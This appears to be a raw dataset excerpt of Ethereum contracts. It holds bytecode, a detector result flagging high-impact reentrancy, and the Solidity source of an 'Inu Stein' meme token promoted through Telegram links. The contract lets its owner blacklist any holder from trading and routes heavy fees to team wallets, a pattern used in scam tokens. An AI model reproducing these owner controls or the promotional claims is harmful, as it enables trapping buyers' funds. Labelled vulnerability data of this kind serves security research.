001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108f781610578565b60008061090c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561096f57600080fd5b505af1158015610983573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109a891906116ca565b5050600f80546a108b2a2c2802909400000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a2357600080fd5b505af1158015610a37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5b9190611696565b5050565b6001600160a01b038316610ac15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e9565b6001600160a01b038216610b225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610be75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e9565b6001600160a01b038216610c495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e9565b60008111610cab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e9565b6001600160a01b03831660009081526006602052604090205460ff1615610cd157600080fd5b6001600160a01b0383163014610e85576005600a819055600b55600f546001600160a01b038481169116148015610d165750600e546001600160a01b03838116911614155b8015610d3b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d505750600f54600160b81b900460ff165b15610dad57601054811115610d6457600080fd5b6001600160a01b0382166000908152600760205260409020544211610d8857600080fd5b610d9342600a6117ef565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610dd85750600e546001600160a01b03848116911614155b8015610dfd57506001600160a01b03831660009081526005602052604090205460ff16155b15610e0e576000600a55600c54600b555b6000610e1930610578565b600f54909150600160a81b900460ff16158015610e445750600f546001600160a01b03858116911614155b8015610e595750600f54600160b01b900460ff165b15610e8357610e6781610f8d565b4767016345785d8a0000811115610e8157610e8147610ecf565b505b505b610e90838383611132565b505050565b60008184841115610eb95760405162461bcd60e51b81526004016104e991906116f7565b506000610ec68486611846565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610a5b573d6000803e3d6000fd5b6000600854821115610f705760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104e9565b6000610f7a61113d565b9050610f868382611160565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fe357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561103757600080fd5b505afa15801561104b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106f91906115bb565b8160018151811061109057634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546110b69130911684610a5f565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ef90859060009086903090429060040161177f565b600060405180830381600087803b15801561110957600080fd5b505af115801561111d573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e908383836111a2565b600080600061114a611299565b90925090506111598282611160565b9250505090565b6000610f8683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e1565b6000806000806000806111b48761130f565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111e6908761136c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121590866113ae565b6001600160a01b0389166000908152600260205260409020556112378161140d565b6112418483611457565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128691815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce80000006112b88282611160565b8210156112d8575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b600081836113025760405162461bcd60e51b81526004016104e991906116f7565b506000610ec68486611807565b600080600080600080600080600061132c8a600a54600b5461147b565b925092509250600061133c61113d565b9050600080600061134f8e8787876114d0565b919e509c509a509598509396509194505050505091939550919395565b6000610f8683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e95565b6000806113bb83856117ef565b905083811015610f865760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e9565b600061141761113d565b905060006114258383611520565b3060009081526002602052604090205490915061144290826113ae565b30600090815260026020526040902055505050565b600854611464908361136c565b60085560095461147490826113ae565b6009555050565b6000808080611495606461148f8989611520565b90611160565b905060006114a8606461148f8a89611520565b905060006114c0826114ba8b8661136c565b9061136c565b9992985090965090945050505050565b60008080806114df8886611520565b905060006114ed8887611520565b905060006114fb8888611520565b9050600061150d826114ba868661136c565b939b939a50919850919650505050505050565b60008261152f575060006103da565b600061153b8385611827565b9050826115488583611807565b14610f865760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e9565b6000602082840312156115b0578081fd5b8135610f8681611873565b6000602082840312156115cc578081fd5b8151610f8681611873565b600080604083850312156115e9578081fd5b82356115f481611873565b9150602083013561160481611873565b809150509250929050565b600080600060608486031215611623578081fd5b833561162e81611873565b9250602084013561163e81611873565b929592945050506040919091013590565b60008060408385031215611661578182fd5b823561166c81611873565b946020939093013593505050565b60006020828403121561168b578081fd5b8135610f8681611888565b6000602082840312156116a7578081fd5b8151610f8681611888565b6000602082840312156116c3578081fd5b5035919050565b6000806000606084860312156116de578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561172357858101830151858201604001528201611707565b818111156117345783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156117ce5784516001600160a01b0316835293830193918301916001016117a9565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118025761180261185d565b500190565b60008261182257634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156118415761184161185d565b500290565b6000828210156118585761185861185d565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461057557600080fd5b801515811461057557600080fdfe456c6f6e56534170706c65207c7c2068747470733a2f2f742e6d652f656c6f6e76736170706c656e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a27dbdeea3a0e7d7be0696b1914c57c59ff7393589a5979feac72e619177819964736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,107 |
0x2446534339412c77240d1c19db187b465314e462 | /**
*Submitted for verification at Etherscan.io on 2021-07-01
*/
// SPDX-License-Identifier: Unlicensed
//someone call based department... we're gonna need it for this one...
// based degen play of the night! Telegram https://t.me/inustein
//: holy gosh! Telegram: https://t.me/inustein
//: jeepers creepers! Einstein inu is going to be the next big thing! wowza! https://t.me/inustein
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Inustein is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string public constant _name = "Inu Stein";
string public constant _symbol = "iSTEIN";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 3;
uint256 private _teamFee = 12;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c7565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611976565b6040518082815260200191505060405180910390f35b60606040518060400160405280600981526020017f496e7520537465696e0000000000000000000000000000000000000000000000815250905090565b60006108a161089a6119fd565b8484611a05565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfc565b61098a846108d56119fd565b61098585604051806060016040528060288152602001613ee960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245b9092919063ffffffff16565b611a05565b600190509392505050565b61099d6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fd565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251b565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612616565b90505b919050565b610d0b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f69535445494e0000000000000000000000000000000000000000000000000000815250905090565b6000610f03610efc6119fd565b8484611bfc565b6001905092915050565b6040518060400160405280600681526020017f69535445494e000000000000000000000000000000000000000000000000000081525081565b610f4e6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffff